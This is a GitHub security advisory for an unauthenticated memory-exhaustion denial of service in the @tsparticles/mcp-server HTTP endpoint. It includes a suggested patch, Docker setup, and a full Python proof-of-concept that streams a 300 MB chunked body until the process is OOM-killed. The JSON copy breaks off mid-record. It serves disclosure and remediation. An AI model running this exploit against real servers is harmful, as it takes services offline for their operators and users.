GHSA-447X-QQWF-M7XQ

Vulnerability from github – Published: 2026-11-09 21:10 – Updated: 2026-11-09 21:10
VLAI
Summary
tsParticles: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server Leads to Remote DoS
Details

Summary

The HTTP server mode of @tsparticles/mcp-server accumulates all incoming request body chunks into an in-memory Buffer[] array with no size limit before calling JSON.parse. An unauthenticated remote attacker can stream an arbitrarily large body to POST /mcp, exhausting the Node.js process memory and causing a Denial of Service. The official Docker image ships with HTTP mode enabled by default (--port 3000 on 0.0.0.0), making this exploitable without any special configuration in containerized deployments.

Details

The vulnerability exists in integrations/mcp-server/src/index.ts at lines 399–407. The POST /mcp request handler resolves a Promise that pushes every incoming data chunk into a Buffer[] array without checking the cumulative size, a Content-Length header, or any other guard:

// integrations/mcp-server/src/index.ts:399-407
if (req.method === "POST" && req.url === "/mcp") {
  const body = await new Promise<string>((resolve, reject) => {
    const chunks: Buffer[] = [];
    req.on("data", (chunk) => chunks.push(Buffer.from(chunk)));  // no size guard
    req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8")));
    req.on("error", reject);
  });

  const parsedBody = body ? JSON.parse(body) : undefined;

The complete data flow leading to exploitation:

  1. index.ts:390 — HTTP server is created.
  2. index.ts:399 — POST /mcp branch is entered; no authentication is performed.
  3. index.ts:401-403 — Every chunk is appended to chunks[] without any byte-count check.
  4. index.ts:407 — The concatenated buffer is passed to JSON.parse.
  5. index.ts:416 — The server listens on 0.0.0.0, exposing it on all network interfaces.

There is no Content-Length validation, no body-size middleware, and no 413 Payload Too Large response in the server source. The official Dockerfile (integrations/mcp-server/Dockerfile) sets CMD ["node", "dist/index.js", "--port", "3000"], meaning Docker deployments run in HTTP mode by default without any additional opt-in.

A suggested patch would be to track cumulative received bytes and destroy the request once a threshold (e.g., 1 MB) is exceeded:

--- a/integrations/mcp-server/src/index.ts
+++ b/integrations/mcp-server/src/index.ts
@@
 import { createServer } from "node:http";
 import { randomUUID } from "node:crypto";

 const PACKAGE_VERSION = "0.1.0";
+const maxRequestBodyBytes = 1024 * 1024;
@@
     if (req.method === "POST" && req.url === "/mcp") {
       const body = await new Promise<string>((resolve, reject) => {
         const chunks: Buffer[] = [];
-        req.on("data", (chunk) => chunks.push(Buffer.from(chunk)));
+        let received = 0;
+        req.on("data", (chunk) => {
+          received += chunk.length;
+          if (received > maxRequestBodyBytes) {
+            req.destroy(new Error("Request body too large"));
+            return;
+          }
+          chunks.push(Buffer.from(chunk));
+        });
         req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8")));
         req.on("error", reject);
       });

PoC

Environment setup:

# Build the Docker image from the repository root
docker build \
  -f /path/to/vuln-001/Dockerfile \
  -t vuln001-mcp \
  /path/to/tsparticles-repo

# Run with a 256 MB memory cap (matching the dynamic reproduction)
docker run -d \
  -p 127.0.0.1:3000:3000 \
  --memory=256m --memory-swap=256m \
  --name vuln001-mcp \
  vuln001-mcp

Exploit (Python PoC — poc.py):

The script uses chunked transfer encoding so only O(1 MB) of Python-side memory is needed, while the Node.js process accumulates every received chunk in its Buffer[] array.

python3 poc.py --host 127.0.0.1 --port 3000 --mb 300 --container vuln001-mcp

Equivalent minimal request:

import socket

s = socket.create_connection(("127.0.0.1", 3000))
headers = (
    "POST /mcp HTTP/1.1\r\n"
    "Host: 127.0.0.1:3000\r\n"
    "Content-Type: application/json\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Connection: close\r\n\r\n"
).encode()
s.sendall(headers)

prefix = b'{"jsonrpc":"2.0","id":1,"method":"tools/list","params":"'
s.sendall(f"{len(prefix):x}\r\n".encode() + prefix + b"\r\n")

chunk = b"A" * (1024 * 1024)  # 1 MB per write
for _ in range(300):           # stream 300 MB total
    s.sendall(f"{len(chunk):x}\r\n".encode() + chunk + b"\r\n")

Expected result:

  • Baseline memory usage: ~24.9 MiB / 256 MiB.
  • After ~209 MB received, the server-side BrokenPipeError occurs as Docker's OOM-killer terminates the process.
  • docker inspect vuln001-mcp shows State.OOMKilled = true and State.Status = exited.

Dynamic reproduction confirmed: OOMKilled=true was observed during Phase 2 testing with a 300 MB stream against a container limited to 256 MB.

Impact

An unauthenticated remote attacker who can reach the POST /mcp HTTP endpoint can cause the Node.js server process to consume unbounded memory, leading to process termination (OOM kill) and complete service unavailability. No credentials or prior access are required.

In the default Docker deployment (CMD ["node", "dist/index.js", "--port", "3000"]), the server binds to 0.0.0.0:3000, making it reachable from any network interface without configuration changes. Any operator running the official Docker image is exposed by default.

The vulnerability is a Denial of Service (DoS) — confidentiality and integrity are not directly affected. Recovery requires restarting the container.

Reproduction artifacts

Dockerfile

# VULN-001: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server
# Build context must be the repository root so COPY paths resolve correctly.
# Build:  docker build -f vuln-001/Dockerfile -t vuln001-mcp .
# Run:    docker run -d -p 127.0.0.1:3000:3000 \
#                    --memory=256m --memory-swap=256m \
#                    --name vuln001-mcp vuln001-mcp

# --- Stage 1: compile TypeScript ---
FROM node:22-alpine AS build

WORKDIR /build

# Copy only the mcp-server package (avoids pulling the entire monorepo)
COPY integrations/mcp-server/package.json  ./package.json
COPY integrations/mcp-server/tsconfig.json ./tsconfig.json
COPY integrations/mcp-server/src/          ./src/

# Install all deps (devDeps needed for TypeScript compiler)
RUN npm install --no-audit --no-fund

# Compile TypeScript -> dist/
RUN npx tsc

# --- Stage 2: minimal runtime image ---
FROM node:22-alpine

WORKDIR /app

# Copy compiled JS and production node_modules
COPY --from=build /build/dist          ./dist
COPY --from=build /build/node_modules  ./node_modules

EXPOSE 3000

# Start HTTP mode on port 3000 — identical to the official Dockerfile CMD.
# No --max-old-space-size flag; memory cap is enforced by Docker --memory at run time.
CMD ["node", "dist/index.js", "--port", "3000"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server
Repository : tsparticles/tsparticles
Version    : 4.3.0 (commit eb2d299)
CWE        : CWE-400 — Uncontrolled Resource Consumption
CVSS       : 7.5 High  (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
File       : integrations/mcp-server/src/index.ts:399-407

Vulnerability:
    The POST /mcp handler resolves a Promise that accumulates every data chunk
    into a Buffer[] array without any Content-Length or size guard, then calls
    Buffer.concat() and JSON.parse() on the full body.  An unauthenticated
    remote attacker can exhaust the server's memory by streaming an arbitrarily
    large body.

    Source (index.ts:399-407):
        if (req.method === "POST" && req.url === "/mcp") {
          const body = await new Promise<string>((resolve, reject) => {
            const chunks: Buffer[] = [];
            req.on("data", (chunk) => chunks.push(Buffer.from(chunk)));  // no guard
            req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8")));
            req.on("error", reject);
          });
          const parsedBody = body ? JSON.parse(body) : undefined;

Exploit strategy:
    Stream a large body via chunked transfer encoding so the Python process
    itself needs only O(chunk) memory.  The Node.js server accumulates every
    chunk in its Buffer array.  With a Docker memory cap of 256 MB the container
    is OOM-killed once the buffered data exceeds available RAM, producing
    OOMKilled=true — an unambiguous, observable indicator.

Usage:
    python3 poc.py [--host 127.0.0.1] [--port 3000]
                   [--mb 300] [--container vuln001-mcp]
"""

import argparse
import socket
import subprocess
import sys
import time


# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------

def parse_args():
    p = argparse.ArgumentParser(description="VULN-001 PoC — unbounded body buffering")
    p.add_argument("--host",      default="127.0.0.1", help="Server host")
    p.add_argument("--port",      type=int, default=3000, help="Server port")
    p.add_argument("--mb",        type=int, default=300, help="Payload size in MB")
    p.add_argument("--container", default="vuln001-mcp", help="Docker container name")
    return p.parse_args()


def wait_for_server(host: str, port: int, timeout: int = 60) -> bool:
    """Poll TCP until the server accepts connections or timeout expires."""
    deadline = time.time() + timeout
    print(f"[*] Waiting for server at {host}:{port}  (timeout={timeout}s) ...", flush=True)
    while time.time() < deadline:
        try:
            s = socket.create_connection((host, port), timeout=1)
            s.close()
            print("[+] Server is ready", flush=True)
            return True
        except OSError:
            time.sleep(0.5)
    print("[-] Timed out waiting for server")
    return False


def container_info(name: str) -> tuple[str, str, str]:
    """Return (status, mem_usage, oom_killed) strings for a Docker container."""
    status, oom = "unknown", "unknown"
    try:
        r = subprocess.run(
            ["docker", "inspect", "--format",
             "{{.State.Status}}|{{.State.OOMKilled}}", name],
            capture_output=True, text=True, timeout=5,
        )
        if r.returncode == 0:
            parts = r.stdout.strip().split("|")
            status = parts[0] if len(parts) > 0 else "unknown"
            oom    = parts[1] if len(parts) > 1 else "unknown"
    except Exception as exc:
        status = f"error({exc})"

    mem = "N/A"
    try:
        r2 = subprocess.run(
            ["docker", "stats", "--no-stream", "--format", "{{.MemUsage}}", name],
            capture_output=True, text=True, timeout=5,
        )
        mem = r2.stdout.strip() or "N/A"
    except Exception:
        pass

    return status, mem, oom


# ---------------------------------------------------------------------------
# Core exploit
# ---------------------------------------------------------------------------

def stream_large_body(host: str, port: int, total_mb: int) -> tuple[bool, int, bytes]:
    """
    Open a single TCP connection and stream a large body using chunked TE.

    Using chunked transfer encoding keeps this Python process's memory usage
    at O(1-MB chunk) while forcing the Node.js server to accumulate every
    received chunk in its Buffer[] array — the vulnerable code path.

    Returns:
        server_closed  — True if the server reset the connection mid-stream
        bytes_sent     — total body bytes sent
        response       — first bytes of the HTTP response (may be empty)
    """
    s = socket.create_connection((host, port))

    headers = (
        f"POST /mcp HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Content-Type: application/json\r\n"
        f"Transfer-Encoding: chunked\r\n"
        f"Connection: close\r\n"
        f"\r\n"
    ).encode()
    s.sendall(headers)

    def send_chunk(data: bytes) -> None:
        s.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n")

    # Begin a JSON body prefix (the server buffers everything before parsing)
    prefix = b'{"jsonrpc":"2.0","id":1,"method":"tools/list","params":"'
    send_chunk(prefix)
    bytes_sent = len(prefix)

    chunk_size = 1024 * 1024   # 1 MB per TCP write
    filler     = b"A" * chunk_size
    target     = total_mb * 1024 * 1024
    server_closed = False

    while bytes_sent < target:
        remaining = target - bytes_sent
        chunk = filler[: min(chunk_size, remaining)]
        try:
            send_chunk(chunk)
            bytes_sent += len(chunk)
            mb_done = bytes_sent // (1024 * 1024)
            if mb_done % 50 == 0:
                print(f"[*]   {mb_done}/{total_mb} MB streamed ...", flush=True)
        except (BrokenPipeError, ConnectionResetError, OSError) as exc:
            print(f"[!] Connection reset after {bytes_sent // (1024 * 1024)} MB: {exc}",
                  flush=True)
            server_closed = True
            break

    if not server_closed:
        try:
            send_chunk(b'"}')
            s.sendall(b"0\r\n\r\n")  # final (empty) chunk = end of chunked body
        except OSError:
            server_closed = True

    response = b""
    if not server_closed:
        s.settimeout(5)
        try:
            response = s.recv(4096)
        except OSError:
            pass

    try:
        s.close()
    except OSError:
        pass

    return server_closed, bytes_sent, response


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------

def main() -> bool:
    args = parse_args()

    print("=" * 65)
    print("VULN-001 — Unbounded HTTP Body Buffering in @tsparticles/mcp-server")
    print(f"Target  : http://{args.host}:{args.port}/mcp   (no auth)")
    print(f"Payload : {args.mb} MB  (no Content-Length or body-size guard)")
    print(f"Monitor : Docker container '{args.container}'")
    print("=" * 65)

    if not wait_for_server(args.host, args.port):
        print("[FAIL] Server did not become available")
        return False

    # --- baseline ---
    status_before, mem_before, _ = container_info(args.container)
    print(f"\n[*] Baseline  status={status_before}  memory={mem_before}")

    # --- exploit ---
    print(f"\n[*] Streaming {args.mb} MB body to POST /mcp ...", flush=True)
    t0 = time.time()
    server_closed, bytes_sent, response = stream_large_body(
        args.host, args.port, args.mb
    )
    elapsed = time.time() - t0

    time.sleep(2)   # allow Docker stats to refresh

    status_after, mem_after, oom_killed = container_info(args.container)

    print(f"\n[*] Transfer       : {bytes_sent // (1024 * 1024)} MB in {elapsed:.1f} s")
    print(f"[*] Server closed  : {server_closed}")
    print(f"[*] HTTP response  : {response[:200]!r}")
    print(f"[*] Container      : status={status_after}  OOMKilled={oom_killed}")
    print(f"[*] Memory before  : {mem_before}")
    print(f"[*] Memory after   : {mem_after}")

    # --- verdict ---
    if oom_killed == "true":
        print("\n[PASS] OOMKilled=true — Docker OOM-killed the container")
        print("       The Node.js process was killed because it buffered the full")
        print("       request body in memory (no size guard in POST /mcp handler).")
        return True

    if status_after in ("exited", "dead"):
        print(f"\n[PASS] Container exited (status={status_after}) after receiving"
              f" {bytes_sent // (1024 * 1024)} MB body — memory exhaustion confirmed")
        return True

    if not server_closed and status_after == "running":
        print(f"\n[PASS] {args.mb} MB body fully accepted — no size limit enforced")
        print(f"       Memory before: {mem_before}  |  after: {mem_after}")
        print("       CWE-400 confirmed: unbounded buffering without authentication")
        return True

    if server_closed:
        print(f"\n[PARTIAL] Connection reset after {bytes_sent // (1024 * 1024)} MB")
        print("          Server may have crashed internally; check docker logs.")
        # Still consider PASS if container is dead
        if status_after not in ("running",):
            return True
        return False

    print("\n[INCONCLUSIVE] Unexpected outcome — inspect container logs manually")
    return False


if __name__ == "__main__":
    ok = main()
    sys.exit(0 if ok else 1)
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@tsparticles/mcp-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63655"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-09T21:10:46Z",
    "nvd_published_at": "2026-11-04T22:18:07Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe HTTP server mode of `@tsparticles/mcp-server` accumulates all incoming request body chunks into an in-memory `Buffer[]` array with no size limit before calling `JSON.parse`. An unauthenticated remote attacker can stream an arbitrarily large body to `POST /mcp`, exhausting the Node.js process memory and causing a Denial of Service. The official Docker image ships with HTTP mode enabled by default (`--port 3000` on `0.0.0.0`), making this exploitable without any special configuration in containerized deployments.\n\n### Details\n\nThe vulnerability exists in `integrations/mcp-server/src/index.ts` at lines 399\u2013407. The `POST /mcp` request handler resolves a `Promise` that pushes every incoming data chunk into a `Buffer[]` array without checking the cumulative size, a `Content-Length` header, or any other guard:\n\n```ts\n// integrations/mcp-server/src/index.ts:399-407\nif (req.method === \"POST\" \u0026\u0026 req.url === \"/mcp\") {\n  const body = await new Promise\u003cstring\u003e((resolve, reject) =\u003e {\n    const chunks: Buffer[] = [];\n    req.on(\"data\", (chunk) =\u003e chunks.push(Buffer.from(chunk)));  // no size guard\n    req.on(\"end\", () =\u003e resolve(Buffer.concat(chunks).toString(\"utf8\")));\n    req.on(\"error\", reject);\n  });\n\n  const parsedBody = body ? JSON.parse(body) : undefined;\n```\n\nThe complete data flow leading to exploitation:\n\n1. `index.ts:390` \u2014 HTTP server is created.\n2. `index.ts:399` \u2014 `POST /mcp` branch is entered; no authentication is performed.\n3. `index.ts:401-403` \u2014 Every chunk is appended to `chunks[]` without any byte-count check.\n4. `index.ts:407` \u2014 The concatenated buffer is passed to `JSON.parse`.\n5. `index.ts:416` \u2014 The server listens on `0.0.0.0`, exposing it on all network interfaces.\n\nThere is no `Content-Length` validation, no body-size middleware, and no `413 Payload Too Large` response in the server source. The official `Dockerfile` (`integrations/mcp-server/Dockerfile`) sets `CMD [\"node\", \"dist/index.js\", \"--port\", \"3000\"]`, meaning Docker deployments run in HTTP mode by default without any additional opt-in.\n\nA suggested patch would be to track cumulative received bytes and destroy the request once a threshold (e.g., 1 MB) is exceeded:\n\n```diff\n--- a/integrations/mcp-server/src/index.ts\n+++ b/integrations/mcp-server/src/index.ts\n@@\n import { createServer } from \"node:http\";\n import { randomUUID } from \"node:crypto\";\n\n const PACKAGE_VERSION = \"0.1.0\";\n+const maxRequestBodyBytes = 1024 * 1024;\n@@\n     if (req.method === \"POST\" \u0026\u0026 req.url === \"/mcp\") {\n       const body = await new Promise\u003cstring\u003e((resolve, reject) =\u003e {\n         const chunks: Buffer[] = [];\n-        req.on(\"data\", (chunk) =\u003e chunks.push(Buffer.from(chunk)));\n+        let received = 0;\n+        req.on(\"data\", (chunk) =\u003e {\n+          received += chunk.length;\n+          if (received \u003e maxRequestBodyBytes) {\n+            req.destroy(new Error(\"Request body too large\"));\n+            return;\n+          }\n+          chunks.push(Buffer.from(chunk));\n+        });\n         req.on(\"end\", () =\u003e resolve(Buffer.concat(chunks).toString(\"utf8\")));\n         req.on(\"error\", reject);\n       });\n```\n\n### PoC\n\n**Environment setup:**\n\n```bash\n# Build the Docker image from the repository root\ndocker build \\\n  -f /path/to/vuln-001/Dockerfile \\\n  -t vuln001-mcp \\\n  /path/to/tsparticles-repo\n\n# Run with a 256 MB memory cap (matching the dynamic reproduction)\ndocker run -d \\\n  -p 127.0.0.1:3000:3000 \\\n  --memory=256m --memory-swap=256m \\\n  --name vuln001-mcp \\\n  vuln001-mcp\n```\n\n**Exploit (Python PoC \u2014 `poc.py`):**\n\nThe script uses chunked transfer encoding so only O(1 MB) of Python-side memory is needed, while the Node.js process accumulates every received chunk in its `Buffer[]` array.\n\n```bash\npython3 poc.py --host 127.0.0.1 --port 3000 --mb 300 --container vuln001-mcp\n```\n\nEquivalent minimal request:\n\n```python\nimport socket\n\ns = socket.create_connection((\"127.0.0.1\", 3000))\nheaders = (\n    \"POST /mcp HTTP/1.1\\r\\n\"\n    \"Host: 127.0.0.1:3000\\r\\n\"\n    \"Content-Type: application/json\\r\\n\"\n    \"Transfer-Encoding: chunked\\r\\n\"\n    \"Connection: close\\r\\n\\r\\n\"\n).encode()\ns.sendall(headers)\n\nprefix = b\u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":\"\u0027\ns.sendall(f\"{len(prefix):x}\\r\\n\".encode() + prefix + b\"\\r\\n\")\n\nchunk = b\"A\" * (1024 * 1024)  # 1 MB per write\nfor _ in range(300):           # stream 300 MB total\n    s.sendall(f\"{len(chunk):x}\\r\\n\".encode() + chunk + b\"\\r\\n\")\n```\n\n**Expected result:**\n\n- Baseline memory usage: ~24.9 MiB / 256 MiB.\n- After ~209 MB received, the server-side `BrokenPipeError` occurs as Docker\u0027s OOM-killer terminates the process.\n- `docker inspect vuln001-mcp` shows `State.OOMKilled = true` and `State.Status = exited`.\n\n**Dynamic reproduction confirmed:** OOMKilled=true was observed during Phase 2 testing with a 300 MB stream against a container limited to 256 MB.\n\n### Impact\n\nAn unauthenticated remote attacker who can reach the `POST /mcp` HTTP endpoint can cause the Node.js server process to consume unbounded memory, leading to process termination (OOM kill) and complete service unavailability. No credentials or prior access are required.\n\nIn the default Docker deployment (`CMD [\"node\", \"dist/index.js\", \"--port\", \"3000\"]`), the server binds to `0.0.0.0:3000`, making it reachable from any network interface without configuration changes. Any operator running the official Docker image is exposed by default.\n\nThe vulnerability is a Denial of Service (DoS) \u2014 confidentiality and integrity are not directly affected. Recovery requires restarting the container.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server\n# Build context must be the repository root so COPY paths resolve correctly.\n# Build:  docker build -f vuln-001/Dockerfile -t vuln001-mcp .\n# Run:    docker run -d -p 127.0.0.1:3000:3000 \\\n#                    --memory=256m --memory-swap=256m \\\n#                    --name vuln001-mcp vuln001-mcp\n\n# --- Stage 1: compile TypeScript ---\nFROM node:22-alpine AS build\n\nWORKDIR /build\n\n# Copy only the mcp-server package (avoids pulling the entire monorepo)\nCOPY integrations/mcp-server/package.json  ./package.json\nCOPY integrations/mcp-server/tsconfig.json ./tsconfig.json\nCOPY integrations/mcp-server/src/          ./src/\n\n# Install all deps (devDeps needed for TypeScript compiler)\nRUN npm install --no-audit --no-fund\n\n# Compile TypeScript -\u003e dist/\nRUN npx tsc\n\n# --- Stage 2: minimal runtime image ---\nFROM node:22-alpine\n\nWORKDIR /app\n\n# Copy compiled JS and production node_modules\nCOPY --from=build /build/dist          ./dist\nCOPY --from=build /build/node_modules  ./node_modules\n\nEXPOSE 3000\n\n# Start HTTP mode on port 3000 \u2014 identical to the official Dockerfile CMD.\n# No --max-old-space-size flag; memory cap is enforced by Docker --memory at run time.\nCMD [\"node\", \"dist/index.js\", \"--port\", \"3000\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server\nRepository : tsparticles/tsparticles\nVersion    : 4.3.0 (commit eb2d299)\nCWE        : CWE-400 \u2014 Uncontrolled Resource Consumption\nCVSS       : 7.5 High  (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\nFile       : integrations/mcp-server/src/index.ts:399-407\n\nVulnerability:\n    The POST /mcp handler resolves a Promise that accumulates every data chunk\n    into a Buffer[] array without any Content-Length or size guard, then calls\n    Buffer.concat() and JSON.parse() on the full body.  An unauthenticated\n    remote attacker can exhaust the server\u0027s memory by streaming an arbitrarily\n    large body.\n\n    Source (index.ts:399-407):\n        if (req.method === \"POST\" \u0026\u0026 req.url === \"/mcp\") {\n          const body = await new Promise\u003cstring\u003e((resolve, reject) =\u003e {\n            const chunks: Buffer[] = [];\n            req.on(\"data\", (chunk) =\u003e chunks.push(Buffer.from(chunk)));  // no guard\n            req.on(\"end\", () =\u003e resolve(Buffer.concat(chunks).toString(\"utf8\")));\n            req.on(\"error\", reject);\n          });\n          const parsedBody = body ? JSON.parse(body) : undefined;\n\nExploit strategy:\n    Stream a large body via chunked transfer encoding so the Python process\n    itself needs only O(chunk) memory.  The Node.js server accumulates every\n    chunk in its Buffer array.  With a Docker memory cap of 256 MB the container\n    is OOM-killed once the buffered data exceeds available RAM, producing\n    OOMKilled=true \u2014 an unambiguous, observable indicator.\n\nUsage:\n    python3 poc.py [--host 127.0.0.1] [--port 3000]\n                   [--mb 300] [--container vuln001-mcp]\n\"\"\"\n\nimport argparse\nimport socket\nimport subprocess\nimport sys\nimport time\n\n\n# ---------------------------------------------------------------------------\n# Helpers\n# ---------------------------------------------------------------------------\n\ndef parse_args():\n    p = argparse.ArgumentParser(description=\"VULN-001 PoC \u2014 unbounded body buffering\")\n    p.add_argument(\"--host\",      default=\"127.0.0.1\", help=\"Server host\")\n    p.add_argument(\"--port\",      type=int, default=3000, help=\"Server port\")\n    p.add_argument(\"--mb\",        type=int, default=300, help=\"Payload size in MB\")\n    p.add_argument(\"--container\", default=\"vuln001-mcp\", help=\"Docker container name\")\n    return p.parse_args()\n\n\ndef wait_for_server(host: str, port: int, timeout: int = 60) -\u003e bool:\n    \"\"\"Poll TCP until the server accepts connections or timeout expires.\"\"\"\n    deadline = time.time() + timeout\n    print(f\"[*] Waiting for server at {host}:{port}  (timeout={timeout}s) ...\", flush=True)\n    while time.time() \u003c deadline:\n        try:\n            s = socket.create_connection((host, port), timeout=1)\n            s.close()\n            print(\"[+] Server is ready\", flush=True)\n            return True\n        except OSError:\n            time.sleep(0.5)\n    print(\"[-] Timed out waiting for server\")\n    return False\n\n\ndef container_info(name: str) -\u003e tuple[str, str, str]:\n    \"\"\"Return (status, mem_usage, oom_killed) strings for a Docker container.\"\"\"\n    status, oom = \"unknown\", \"unknown\"\n    try:\n        r = subprocess.run(\n            [\"docker\", \"inspect\", \"--format\",\n             \"{{.State.Status}}|{{.State.OOMKilled}}\", name],\n            capture_output=True, text=True, timeout=5,\n        )\n        if r.returncode == 0:\n            parts = r.stdout.strip().split(\"|\")\n            status = parts[0] if len(parts) \u003e 0 else \"unknown\"\n            oom    = parts[1] if len(parts) \u003e 1 else \"unknown\"\n    except Exception as exc:\n        status = f\"error({exc})\"\n\n    mem = \"N/A\"\n    try:\n        r2 = subprocess.run(\n            [\"docker\", \"stats\", \"--no-stream\", \"--format\", \"{{.MemUsage}}\", name],\n            capture_output=True, text=True, timeout=5,\n        )\n        mem = r2.stdout.strip() or \"N/A\"\n    except Exception:\n        pass\n\n    return status, mem, oom\n\n\n# ---------------------------------------------------------------------------\n# Core exploit\n# ---------------------------------------------------------------------------\n\ndef stream_large_body(host: str, port: int, total_mb: int) -\u003e tuple[bool, int, bytes]:\n    \"\"\"\n    Open a single TCP connection and stream a large body using chunked TE.\n\n    Using chunked transfer encoding keeps this Python process\u0027s memory usage\n    at O(1-MB chunk) while forcing the Node.js server to accumulate every\n    received chunk in its Buffer[] array \u2014 the vulnerable code path.\n\n    Returns:\n        server_closed  \u2014 True if the server reset the connection mid-stream\n        bytes_sent     \u2014 total body bytes sent\n        response       \u2014 first bytes of the HTTP response (may be empty)\n    \"\"\"\n    s = socket.create_connection((host, port))\n\n    headers = (\n        f\"POST /mcp HTTP/1.1\\r\\n\"\n        f\"Host: {host}:{port}\\r\\n\"\n        f\"Content-Type: application/json\\r\\n\"\n        f\"Transfer-Encoding: chunked\\r\\n\"\n        f\"Connection: close\\r\\n\"\n        f\"\\r\\n\"\n    ).encode()\n    s.sendall(headers)\n\n    def send_chunk(data: bytes) -\u003e None:\n        s.sendall(f\"{len(data):x}\\r\\n\".encode() + data + b\"\\r\\n\")\n\n    # Begin a JSON body prefix (the server buffers everything before parsing)\n    prefix = b\u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":\"\u0027\n    send_chunk(prefix)\n    bytes_sent = len(prefix)\n\n    chunk_size = 1024 * 1024   # 1 MB per TCP write\n    filler     = b\"A\" * chunk_size\n    target     = total_mb * 1024 * 1024\n    server_closed = False\n\n    while bytes_sent \u003c target:\n        remaining = target - bytes_sent\n        chunk = filler[: min(chunk_size, remaining)]\n        try:\n            send_chunk(chunk)\n            bytes_sent += len(chunk)\n            mb_done = bytes_sent // (1024 * 1024)\n            if mb_done % 50 == 0:\n                print(f\"[*]   {mb_done}/{total_mb} MB streamed ...\", flush=True)\n        except (BrokenPipeError, ConnectionResetError, OSError) as exc:\n            print(f\"[!] Connection reset after {bytes_sent // (1024 * 1024)} MB: {exc}\",\n                  flush=True)\n            server_closed = True\n            break\n\n    if not server_closed:\n        try:\n            send_chunk(b\u0027\"}\u0027)\n            s.sendall(b\"0\\r\\n\\r\\n\")  # final (empty) chunk = end of chunked body\n        except OSError:\n            server_closed = True\n\n    response = b\"\"\n    if not server_closed:\n        s.settimeout(5)\n        try:\n            response = s.recv(4096)\n        except OSError:\n            pass\n\n    try:\n        s.close()\n    except OSError:\n        pass\n\n    return server_closed, bytes_sent, response\n\n\n# ---------------------------------------------------------------------------\n# Main\n# ---------------------------------------------------------------------------\n\ndef main() -\u003e bool:\n    args = parse_args()\n\n    print(\"=\" * 65)\n    print(\"VULN-001 \u2014 Unbounded HTTP Body Buffering in @tsparticles/mcp-server\")\n    print(f\"Target  : http://{args.host}:{args.port}/mcp   (no auth)\")\n    print(f\"Payload : {args.mb} MB  (no Content-Length or body-size guard)\")\n    print(f\"Monitor : Docker container \u0027{args.container}\u0027\")\n    print(\"=\" * 65)\n\n    if not wait_for_server(args.host, args.port):\n        print(\"[FAIL] Server did not become available\")\n        return False\n\n    # --- baseline ---\n    status_before, mem_before, _ = container_info(args.container)\n    print(f\"\\n[*] Baseline  status={status_before}  memory={mem_before}\")\n\n    # --- exploit ---\n    print(f\"\\n[*] Streaming {args.mb} MB body to POST /mcp ...\", flush=True)\n    t0 = time.time()\n    server_closed, bytes_sent, response = stream_large_body(\n        args.host, args.port, args.mb\n    )\n    elapsed = time.time() - t0\n\n    time.sleep(2)   # allow Docker stats to refresh\n\n    status_after, mem_after, oom_killed = container_info(args.container)\n\n    print(f\"\\n[*] Transfer       : {bytes_sent // (1024 * 1024)} MB in {elapsed:.1f} s\")\n    print(f\"[*] Server closed  : {server_closed}\")\n    print(f\"[*] HTTP response  : {response[:200]!r}\")\n    print(f\"[*] Container      : status={status_after}  OOMKilled={oom_killed}\")\n    print(f\"[*] Memory before  : {mem_before}\")\n    print(f\"[*] Memory after   : {mem_after}\")\n\n    # --- verdict ---\n    if oom_killed == \"true\":\n        print(\"\\n[PASS] OOMKilled=true \u2014 Docker OOM-killed the container\")\n        print(\"       The Node.js process was killed because it buffered the full\")\n        print(\"       request body in memory (no size guard in POST /mcp handler).\")\n        return True\n\n    if status_after in (\"exited\", \"dead\"):\n        print(f\"\\n[PASS] Container exited (status={status_after}) after receiving\"\n              f\" {bytes_sent // (1024 * 1024)} MB body \u2014 memory exhaustion confirmed\")\n        return True\n\n    if not server_closed and status_after == \"running\":\n        print(f\"\\n[PASS] {args.mb} MB body fully accepted \u2014 no size limit enforced\")\n        print(f\"       Memory before: {mem_before}  |  after: {mem_after}\")\n        print(\"       CWE-400 confirmed: unbounded buffering without authentication\")\n        return True\n\n    if server_closed:\n        print(f\"\\n[PARTIAL] Connection reset after {bytes_sent // (1024 * 1024)} MB\")\n        print(\"          Server may have crashed internally; check docker logs.\")\n        # Still consider PASS if container is dead\n        if status_after not in (\"running\",):\n            return True\n        return False\n\n    print(\"\\n[INCONCLUSIVE] Unexpected outcome \u2014 inspect container logs manually\")\n    return False\n\n\nif __name__ == \"__main__\":\n    ok = main()\n    sys.exit(0 if ok else 1)\n```",
  "id": "GHSA-447x-qqwf-m7xq",
  "modified": "2026-11-09T21:10:46Z",
  "published": "2026-11-09T21:10:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tsparticles/tsparticles/security/advisories/GHSA-447x-qqwf-m7xq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63655"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tsparticles/tsparticles/pull/5875"
    },
    {
